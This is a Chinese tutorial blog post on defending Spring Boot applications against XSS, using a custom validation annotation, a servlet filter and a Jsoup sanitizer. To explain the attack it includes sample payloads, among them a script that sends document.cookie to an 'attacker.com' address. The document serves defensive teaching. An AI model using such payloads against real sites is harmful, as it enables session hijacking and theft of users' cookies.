SpringBoot实战:轻松实现XSS攻击防御(注解和过滤器)
文章目录
- 引言
- 一、XSS攻击概述
- 1.1 XSS攻击的定义
- 1.2 XSS攻击的类型
- 1.3 XSS攻击的攻击原理及示例
- 二、Spring Boot中的XSS防御手段
- 2.1 使用注解进行XSS防御
- 2.1.1 引入相关依赖
- 2.1.2 使用@XSS注解进行参数校验
- 2.1.3 实现自定义注解处理器
- 2.1.4 使用注解
- 2.2 使用过滤器进行XSS防御
- 2.2.1 引入相关依赖
- 2.2.2 编写配置类
- 2.2.3 修改配置文件
- 2.2.4 创建XSSFilter类
- 2.2.5 编写过滤工具类
- 2.2.6 编写XSSRequestWrapper类清理脚本
- 2.2.7 自定义json消息解析器
- 三、测试
- 3.1 XSS注解:
- 3.2 XSS过滤器
- 四、总结
引言
随着Web应用的普及,网络安全问题也日益凸显。跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,它允许攻击者将恶意脚本注入到其他用户浏览和使用的正常网页中。当其他用户浏览这些网页时,恶意脚本就会在他们的浏览器上执行,从而可能导致信息泄露、会话劫持等严重后果。XSS攻击的普遍性和潜在危害性使其成为Web应用安全中不可忽视的一部分。
本文旨在探讨如何在Spring Boot应用程序中有效地防御XSS攻击。我们将介绍两种主要的防御手段:注解和过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行。
一、XSS攻击概述
XSS攻击,全称为跨站脚本攻击(Cross-Site Scripting),是一种常见的网络攻击手段。它主要利用了Web应用程序对用户输入验证的不足,允许攻击者将恶意脚本注入到其他用户浏览的网页中。
1.1 XSS攻击的定义
XSS攻击是指攻击者在Web页面的输入数据中插入恶意脚本,当其他用户浏览该页面时,这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的,因此它可以访问该用户的所有会话信息和权限,从而可能导致信息泄露、会话劫持、恶意操作等安全风险。
1.2 XSS攻击的类型
XSS攻击主要分为以下三种类型:
- 存储型XSS(Persistent XSS):恶意脚本被永久存储在目标服务器上,如数据库、消息论坛、访客留言等,当用户访问相应的网页时,恶意脚本就会执行。
- 反射型XSS(Reflected XSS):恶意脚本并不存储在目标服务器上,而是通过诸如URL参数的方式直接在请求响应中反射并执行。这种类型的攻击通常是通过诱使用户点击链接或访问特定的URL来实施的。
- 基于DOM的XSS(DOM-based XSS):这种类型的XSS攻击完全发生在客户端,不需要服务器的参与。它通过恶意脚本修改页面的DOM结构,实现攻击。
1.3 XSS攻击的攻击原理及示例
XSS攻击的基本原理是利用Web应用程序对用户输入的信任,将恶意脚本注入到响应中。当其他用户访问包含恶意脚本的页面时,脚本会在他们的浏览器中执行。
可以参考:前端安全系列(一):如何防止XSS攻击? - 美团技术团队 (meituan.com)
示例:
- 存储型XSS攻击:
攻击者在一个博客评论系统中提交以下评论:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
当其他用户查看这条评论时,他们的cookie会被发送到攻击者的服务器。
- 反射型XSS攻击:
攻击者构造一个恶意URL:
http://example.com/search?q=<script>alert('XSS')</script>
如果服务器直接将搜索词嵌入到响应中而不进行过滤,用户点击此链接后会看到一个警告框。
- DOM型XSS攻击:
假设网页中有以下JavaScript代码:
var name = document.location.hash.substr(1);
document.write("欢迎, " + name);
攻击者可以构造如下URL:
http://example.com/page.html#<script>alert('XSS')</script>
当用户访问此URL时,恶意脚本会被执行。
二、Spring Boot中的XSS防御手段
在Spring Boot中,我们可以采用多种方式来防御XSS攻击。下面将详细介绍两种常用的防御手段:使用注解和使用过滤器。
2.1 使用注解进行XSS防御
注解是一种轻量级的防御手段,它可以在方法或字段级别对输入进行校验,从而防止XSS攻击。
2.1.1 引入相关依赖
<!--JSR-303/JSR-380用于验证的注解 --><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-validation</artifactId><version>3.2.0</version></dependency>
2.1.2 使用@XSS注解进行参数校验
我们可以自定义一个@XSS注解,用于标记那些需要校验的参数。这里是一个简单的@XSS注解定义:
@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = XssValidator.class)
public @interface Xss {String message() default "非法输入, 检测到潜在的XSS";Class<?>[] groups() default {};Class<? extends Payload>[] payload() default {};
}
2.1.3 实现自定义注解处理器
接下来,我们需要实现XSSValidator类,该类将负责检查输入是否包含潜在的XSS攻击脚本:
public class XssValidator implements ConstraintValidator<Xss, String> {/*** 使用自带的 basicWithImages 白名单*/private static final Safelist WHITE_LIST = Safelist.relaxed();/*** 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化* 从而保持输入和输出内容的一致性。*/private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);/*** 验证输入值是否有效,即是否包含潜在的XSS攻击脚本。* * @param value 输入值,需要进行XSS攻击脚本清理。* @param context 上下文对象,提供关于验证环境的信息,如验证失败时的错误消息定制。* @return 如果清理后的值与原始值相同,则返回true,表示输入值有效;否则返回false,表示输入值无效。*/@Overridepublic boolean isValid(String value, ConstraintValidatorContext context) {// 使用Jsoup库对输入值进行清理,以移除潜在的XSS攻击脚本。// 使用预定义的白名单和输出设置来确保只保留安全的HTML元素和属性。String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);// 比较清理后的值与原始值是否相同,用于判断输入值是否有效。return cleanedValue.equals(value);}}
2.1.4 使用注解
在要进行XSS防御的属性上添加注解:
@Data
@Tag(name = "用户",description = "用户登录类")
public class UserLoginDTO {@Xss@NotBlank(message = "账号不能为空")@Schema(name = "用户账号",type = "String")private String userAccount;@Xss@Size(min = 6, max = 18, message = "用户密码长度需在6-18位")@Schema(name = "用户密码",type = "String")private String password;@Xss@NotBlank(message = "邮箱验证码内容不能为空")@Schema(name = "邮箱验证码",type = "String")private String emailCaptcha;
}
在Controller中的接口添加@Validated注解:
@PostMapping("/test2")public Result<String> login(@RequestBody @Validated UserLoginDTO userLoginDTO) {return Result.success();}
2.2 使用过滤器进行XSS防御
2.2.1 引入相关依赖
<!-- Jsoup依赖 -->
<dependency><groupId>org.jsoup</groupId><artifactId>jsoup</artifactId><version>1.17.2</version>
</dependency>
2.2.2 编写配置类
/*** 跨站脚本(XSS)过滤配置类。*/
@Data
@Component
@ConfigurationProperties(prefix = "xss")
public class FilterConfig {/*** 是否启用XSS过滤。*/private String enabled;/*** 需要排除的URL模式,这些URL不会进行XSS过滤。*/private String excludes;/*** 需要应用XSS过滤的URL模式。*/private String urlPatterns;/*** 注册XSS过滤器。** @return FilterRegistrationBean 用于注册过滤器的bean。*/@Beanpublic FilterRegistrationBean xssFilterRegistration() {FilterRegistrationBean registrationBean = new FilterRegistrationBean();// 设置过滤器的分发类型为请求类型registrationBean.setDispatcherTypes(DispatcherType.REQUEST);// 创建XssFilter的实例registrationBean.setFilter(new XssFilter());// 添加过滤器需要拦截的URL模式,这些模式从配置文件中的"urlPatterns"属性读取registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ","));// 设置过滤器的名称registrationBean.setName("XssFilter");// 设置过滤器的执行顺序,数值越小,优先级越高registrationBean.setOrder(9999);// 创建一个Map,用于存储过滤器的初始化参数Map<String, String> initParameters = new HashMap<>();// 将配置文件中的"excludes"属性设置到过滤器的初始化参数中initParameters.put("excludes", excludes);// 将配置文件中的"enabled"属性设置到过滤器的初始化参数中initParameters.put("enabled", enabled);// 将初始化参数设置到FilterRegistrationBean中registrationBean.setInitParameters(initParameters);// 返回FilterRegistrationBean,包含了XssFilter的配置信息return registrationBean;}
}
2.2.3 修改配置文件
xss:enabled: trueexcludes:url-patterns: /*
2.2.4 创建XSSFilter类
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;@Slf4j
public class XssFilter implements Filter {/*** 存储需要排除XSS过滤的URL模式列表。*/private List<String> excludes = new ArrayList<>();/*** 是否启用XSS过滤的标志。*/private boolean enabled = false;/*** 初始化过滤器,从过滤器配置中读取排除列表和启用状态。** @param filterConfig 过滤器配置对象。* @throws ServletException 如果初始化过程中出现错误。*/@Overridepublic void init(FilterConfig filterConfig) throws ServletException {String strExcludes = filterConfig.getInitParameter("excludes");String strEnabled = filterConfig.getInitParameter("enabled");//将不需要xss过滤的接口添加到列表中if (StringUtils.isNotEmpty(strExcludes)) {String[] urls = strExcludes.split(",");for (String url : urls) {excludes.add(url);}}if (StringUtils.isNotEmpty(strEnabled)) {enabled = Boolean.valueOf(strEnabled);}}/*** 执行过滤逻辑,如果当前请求不在排除列表中,则通过XSS过滤器包装请求。** @param request HTTP请求对象。* @param response HTTP响应对象。* @param chain 过滤器链对象,用于继续或中断请求处理。* @throws IOException 如果处理过程中出现I/O错误。* @throws ServletException 如果处理过程中出现Servlet相关错误。*/@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) request;HttpServletResponse resp = (HttpServletResponse) response;//如果该访问接口在排除列表里面则不拦截if (isExcludeUrl(req.getServletPath())) {chain.doFilter(request, response);return;}log.info("uri:{}", req.getRequestURI());// xss 过滤chain.doFilter(new XssWrapper(req), resp);}/*** 销毁过滤器,释放资源。*/@Overridepublic void destroy() {// 无需额外的销毁逻辑}/*** 判断当前请求的URL是否应该被排除在XSS过滤之外。** @param urlPath 请求的URL路径。* @return 如果请求应该被排除,则返回true;否则返回false。*/private boolean isExcludeUrl(String urlPath) {if (!enabled) {//如果xss开关关闭了,则所有url都不拦截return true;}if (excludes == null || excludes.isEmpty()) {return false;}String url = urlPath;for (String pattern : excludes) {Pattern p = Pattern.compile("^" + pattern);Matcher m = p.matcher(url);if (m.find()) {return true;}}return false;}
}
2.2.5 编写过滤工具类
/*** XSS过滤工具类,使用Jsoup库对输入的字符串进行XSS攻击防护*/
public class XssUtil {/*** 使用自带的 basicWithImages 白名单*/private static final Safelist WHITE_LIST = Safelist.relaxed();/*** 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化* 从而保持输入和输出内容的一致性。*/private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);/*初始化白名单策略,允许所有标签拥有style属性。这是因为在富文本编辑中,样式通常通过style属性来定义,需要确保这些样式能够被保留。*/static {// 富文本编辑时一些样式是使用 style 来进行实现的// 比如红色字体 style="color:red;"// 所以需要给所有标签添加 style 属性WHITE_LIST.addAttributes(":all", "style");}/*** 清理输入的字符串,移除潜在的XSS攻击代码。* * @param content 待清理的字符串,通常是用户输入的HTML内容。* @return 清理后的字符串,保证不包含XSS攻击代码。*/public static String clean(String content) {// 使用定义好的白名单策略和输出设置清理输入的字符串return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS);}
}
2.2.6 编写XSSRequestWrapper类清理脚本
在XSSFilter类中,我们创建了一个新的XSSRequestWrapper类,该类继承自HttpServletRequestWrapper。在这个包装类中,我们将重写getParameter等方法,以清理请求参数中的潜在XSS脚本。
@Slf4j
public class XssWrapper extends HttpServletRequestWrapper {/*** Constructs a request object wrapping the given request.** @param request The request to wrap* @throws IllegalArgumentException if the request is null*/public XssWrapper(HttpServletRequest request) {super(request);log.info("XssWrapper");}/*** 对数组参数进行特殊字符过滤*/@Overridepublic String[] getParameterValues(String name) {String[] values = super.getParameterValues(name);if (values == null) {return null;}int count = values.length;String[] encodedValues = new String[count];for (int i = 0; i < count; i++) {encodedValues[i] = cleanXSS(values[i]);}return encodedValues;}/*** 对参数中特殊字符进行过滤*/@Overridepublic String getParameter(String name) {String value = super.getParameter(name);if (StrUtil.isBlank(value)) {return value;}return cleanXSS(value);}/*** 获取attribute,特殊字符过滤*/@Overridepublic Object getAttribute(String name) {Object value = super.getAttribute(name);if (value instanceof String && StrUtil.isNotBlank((String) value)) {return cleanXSS((String) value);}return value;}/*** 对请求头部进行特殊字符过滤*/@Overridepublic String getHeader(String name) {String value = super.getHeader(name);if (StrUtil.isBlank(value)) {return value;}return cleanXSS(value);}/*** 清理输入的字符串以防止XSS攻击** @param value 待清理的字符串,通常为用户输入或来自不可信源的数据。* @return 清理后的字符串,移除了可能的XSS攻击代码。*/private String cleanXSS(String value) {return XssUtil.clean(value);}
}
2.2.7 自定义json消息解析器
在使用springboot中,类似于普通的参数parameter,attribute,header一类的,可以直接使用过滤器来过滤。而前端发送回来的json字符串就没那么方便过滤了。可以考虑用自定义json消息解析器来过滤前端传递的json。
可以参考文章:Springboot 过滤json中的特殊字符,避免xss攻击 | Cyckerr
/*** 在读取和写入JSON数据时特殊字符避免xss攻击的消息解析器**/
public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter {/*** 从HTTP输入消息中读取对象,同时应用XSS防护。* * @param type 类型令牌,表示要读取的对象类型。* @param contextClass 上下文类,提供类型解析的上下文信息。* @param inputMessage HTTP输入消息,包含要读取的JSON数据。* @return 从输入消息中解析出的对象,经过XSS防护处理。* @throws IOException 如果发生I/O错误。* @throws HttpMessageNotReadableException 如果消息无法读取。*/@Overridepublic Object read(Type type, Class contextClass,HttpInputMessage inputMessage) throws IOException,HttpMessageNotReadableException {JavaType javaType = getJavaType(type, contextClass);Object obj = readJavaType(javaType, inputMessage);//得到请求jsonString json = super.getObjectMapper().writeValueAsString(obj);//过滤特殊字符String result = XssUtil.clean(json);Object resultObj = super.getObjectMapper().readValue(result, javaType);return resultObj;}/*** 从HTTP输入消息中读取指定Java类型的对象,内部使用。* * @param javaType 要读取的对象的Java类型。* @param inputMessage HTTP输入消息,包含要读取的JSON数据。* @return 从输入消息中解析出的对象。* @throws IOException 如果发生I/O错误。* @throws HttpMessageNotReadableException 如果消息无法读取。*/private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) {try {return super.getObjectMapper().readValue(inputMessage.getBody(), javaType);} catch (IOException ex) {throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex);}}/*** 将对象写入HTTP输出消息,同时应用XSS防护。* * @param object 要写入的对象。* @param outputMessage HTTP输出消息,对象将被序列化为JSON并写入此消息。* @throws IOException 如果发生I/O错误。* @throws HttpMessageNotWritableException 如果消息无法写入。*/@Overrideprotected void writeInternal(Object object, HttpOutputMessage outputMessage)throws IOException, HttpMessageNotWritableException {//得到要输出的jsonString json = super.getObjectMapper().writeValueAsString(object);//过滤特殊字符String result = XssUtil.clean(json);// 输出outputMessage.getBody().write(result.getBytes());}
}
然后在启动类添加:
@Beanpublic HttpMessageConverters xssHttpMessageConverters() {XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter();HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter;return new HttpMessageConverters(converter);}
三、测试
3.1 XSS注解:
如果不符合规则的字符(例如
<script>alert('XSS');</script>)会提示非法输入,检测到潜在的XSS,可以看到下面的返回参数中的message已经变为默认警告。
3.2 XSS过滤器
XSS过滤器实现的效果是过滤,将前端传递参数进行清理,达到XSS防御的目的。
观察下面的测试结果可以知道过滤器成功实现参数清理。


四、总结
本文深入探讨了在Spring Boot应用程序中如何有效地防御XSS攻击。我们介绍了两种主要的防御手段:使用注解和使用过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行,希望对大家有所帮助😊。
参考文章:
SpringBoot 增加 XSS 跨站脚本攻击防护 | 小决的专栏 (jueee.github.io)
对xss攻击的防御 j · 看云 (kancloud.cn)
自定义注解XSS注解
Springboot 过滤json中的特殊字符,避免xss攻击 | Cyckerr

相关文章:
SpringBoot实战:轻松实现XSS攻击防御(注解和过滤器)
文章目录 引言一、XSS攻击概述1.1 XSS攻击的定义1.2 XSS攻击的类型1.3 XSS攻击的攻击原理及示例 二、Spring Boot中的XSS防御手段2.1 使用注解进行XSS防御2.1.1 引入相关依赖2.1.2 使用XSS注解进行参数校验2.1.3 实现自定义注解处理器2.1.4 使用注解 2.2 使用过滤器进行XSS防御…...
如何改善提示词,让 GPT-4 更高效准确地把视频内容整体转换成文章?
(注:本文为小报童精选文章。已订阅小报童或加入知识星球「玉树芝兰」用户请勿重复付费) 让我们来讨论一下大语言模型应用中的一个重要原则 ——「欲速则不达」。 作为一个自认为懒惰的人,我一直有一个愿望:完成视频制作…...
TensorBoard进阶
文章目录 TensorBoard进阶1.设置TensorBoard2.图像数据在TensorBoard中可视化3.模型结构在TensorBoard中可视化(重点✅)4.高维数据在TensorBoard中低维可视化5.利用TensorBoard跟踪模型的训练过程(重点✅)6.利用TensorBoard给每个…...
使用AES加密数据传输的iOS客户端实现方案
在现代应用开发中,确保数据传输的安全性是至关重要的。本文将介绍如何在iOS客户端中使用AES加密数据传输,并与服务器端保持加密解密的一致性。本文不会包含服务器端代码,但会解释其实现原理。 加密与解密的基本原理 AES(Advance…...
vue3【实战】语义化首页布局
技术要点,详见注释 <script setup></script><template><div class"page"><header>页头</header><nav>导航</nav><!-- 主体内容 --><main class"row"><aside>左侧边栏<s…...
FANG:利用社交网络图进行虚假新闻检测
1.概述 社交媒体已逐渐演变成为公众获取信息的主要途径。然而,值得警惕的是,并非所有流通的信息都具备真实性。特别是在政治选举、疫情爆发等关键节点,带有恶意企图的虚假信息(即“假新闻”)可能会对社会秩序、公平性和理性思考造成严重的干扰。作为全球抗击COVID-19的一部…...
Vue2 基础八电商后台管理项目——中
代码下载 商品分类页 新商品分类组件 goods/Cate.vue,在router.js中导入子级路由组件 Cate.vue,并设置路由规则。 绘制商品分类基本结构 在Cate.vue组件中添加面包屑导航以及卡片视图中的添加分类按钮: <template><div><…...
Typescript window.localStorage 存储 Obj Value区别
window.localStorage.setItem(UserC, JSON.stringify(userC)) const userC JSON.parse(window.localStorage.getItem(UserC) || {}) 不能获得UserC,所有保存的时候需要存储value,而不是对象。 {"__v_isShallow":false, "__v_isRef&quo…...
Linux要解压 .rar 文件,你应该使用 unrar 命令
命令 sudo tar -zxf ~/WebDemo.rar -C /usr/local 有一些问题。tar 命令通常用于解压 .tar、.tar.gz 或 .tar.bz2 文件,而不是 .rar 文件。要解压 .rar 文件,你应该使用 unrar 命令。下面是正确的步骤: 首先,安装 unrar࿰…...
【qt】如何获取网卡的信息?
网卡不只一种,有有线的,有无线的等等 我们用QNetworkInterface类的静态函数allInterfaces() 来获取所有的网卡 返回的是一个网卡的容器. 然后我们对每个网卡来获取其设备名称和硬件地址 可以通过静态函数humanReadableName() 来获取设备名称 可以通过静态函数**hardwareAddre…...
使用Netty框架实现WebSocket服务端与客户端通信(附ssl)
仓库地址: https://gitee.com/lfw1024/netty-websocket 导入后可直接运行 预览页面 自签证书: #换成自己的本地ip keytool -genkey -alias server -keyalg RSA -validity 3650 -keystore D:\mystore.jks -ext sanip:192.168.3.7,ip:127.0.0.1,dns:lo…...
ssm校园志愿服务信息系统-计算机毕业设计源码97697
摘 要 随着社会的进步和信息技术的发展,越来越多的学校开始重视志愿服务工作,通过组织各种志愿服务活动,让学生更好地了解社会、服务社会。然而,在实际操作中,志愿服务的组织和管理面临着诸多问题,如志愿者…...
JVM原理(二):JVM之HotSpot虚拟机中对象的创建寻位与定位整体流程
1. 对象的创建 遇到new指令时 当Java虚拟机遇到一个字节码new指令时。 首先会去检查这个指令的参数是否能在常量池中定位到一个类的符号引用,并且检查这个符号引用代表的类是否被加载、解析和初始化过。 如果没有,那么必须执行类的加载过程(加载、检查…...
(七)glDrawArry绘制
几何数据:vao和vbo 材质程序:vs和fs(顶点着色器和片元着色器) 接下来只需要告诉GPU,使用几何数据和材质程序来进行绘制。 #include <glad/glad.h>//glad必须在glfw头文件之前包含 #include <GLFW/glfw3.h> #include <iostrea…...
记一次小程序渗透
这次的小程序渗透刚好每一个漏洞都相当经典所以记录一下。 目录 前言 漏洞详情 未授权访问漏洞/ 敏感信息泄露(高危) 水平越权(高危) 会话重用(高危) 硬编码加密密钥泄露(中危࿰…...
C++ 的常见算法 之一
C 的常见算法 之一 不修改序列算法for_eachcountfind 修改序列算法copymove 不修改序列算法 for_each #include <iostream> // std::cout #include <algorithm> // std::for_each #include <vector> // std::vectorusing namespace std;struc…...
微前端的需求有哪些?微前端的原理是怎么样的?为什么这么设计,及微前端的应用场景是什么?对有些客户,前端的重要性高于后端
微前端(Micro Frontends)是将前端应用拆分成多个独立、可部署的部分,每个部分可以由不同的团队独立开发、测试、部署和维护。这种架构类似于微服务在后端的应用,是为了应对复杂前端应用的维护和扩展问题而提出的。 来龙去脉 背景…...
【Spring Boot】统一数据返回
目录 统一数据返回一. 概念二.实现统一数据返回2.1 重写responseAdvice方法2.2 重写beforeBodyWriter方法 三. 特殊类型-String的处理四. 全部代码 统一数据返回 一. 概念 其实统一数据返回是运用了AOP(对某一类事情的集中处理)的思维,简单…...
证券交易系统中服务器监控系统功能设计
1.背景介绍 此服务器监控系统的目的在于提高行情服务器的监管效率,因目前的的行情服务器,包括DM、DT、DS配置数量较多,巡回维护耗时较多,当行情服务器出现异常故障,或者因为网络问题造成数据断线等情况时,监…...
【线性代数的本质】矩阵与线性变换
线性变化要满足两点性质: 直线(连续的点)在变换后还是直线。原点不变。 假设有坐标轴(基底) i ^ \widehat{i} i 和 j ^ \widehat{j} j : i ^ [ 1 0 ] , j ^ [ 0 1 ] \widehat{i}\begin{bmatrix} 1 \…...
从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)
设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile,新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...
土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等
🔍 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术,可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势,还能有效评价重大生态工程…...
LLM基础1_语言模型如何处理文本
基于GitHub项目:https://github.com/datawhalechina/llms-from-scratch-cn 工具介绍 tiktoken:OpenAI开发的专业"分词器" torch:Facebook开发的强力计算引擎,相当于超级计算器 理解词嵌入:给词语画"…...
Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理
引言 Bitmap(位图)是Android应用内存占用的“头号杀手”。一张1080P(1920x1080)的图片以ARGB_8888格式加载时,内存占用高达8MB(192010804字节)。据统计,超过60%的应用OOM崩溃与Bitm…...
什么是Ansible Jinja2
理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具,可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板,允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板,并通…...
如何在网页里填写 PDF 表格?
有时候,你可能希望用户能在你的网站上填写 PDF 表单。然而,这件事并不简单,因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件,但原生并不支持编辑或填写它们。更糟的是,如果你想收集表单数据ÿ…...
JVM虚拟机:内存结构、垃圾回收、性能优化
1、JVM虚拟机的简介 Java 虚拟机(Java Virtual Machine 简称:JVM)是运行所有 Java 程序的抽象计算机,是 Java 语言的运行环境,实现了 Java 程序的跨平台特性。JVM 屏蔽了与具体操作系统平台相关的信息,使得 Java 程序只需生成在 JVM 上运行的目标代码(字节码),就可以…...
七、数据库的完整性
七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...
处理vxe-table 表尾数据是单独一个接口,表格tableData数据更新后,需要点击两下,表尾才是正确的
修改bug思路: 分别把 tabledata 和 表尾相关数据 console.log() 发现 更新数据先后顺序不对 settimeout延迟查询表格接口 ——测试可行 升级↑:async await 等接口返回后再开始下一个接口查询 ________________________________________________________…...
企业大模型服务合规指南:深度解析备案与登记制度
伴随AI技术的爆炸式发展,尤其是大模型(LLM)在各行各业的深度应用和整合,企业利用AI技术提升效率、创新服务的步伐不断加快。无论是像DeepSeek这样的前沿技术提供者,还是积极拥抱AI转型的传统企业,在面向公众…...
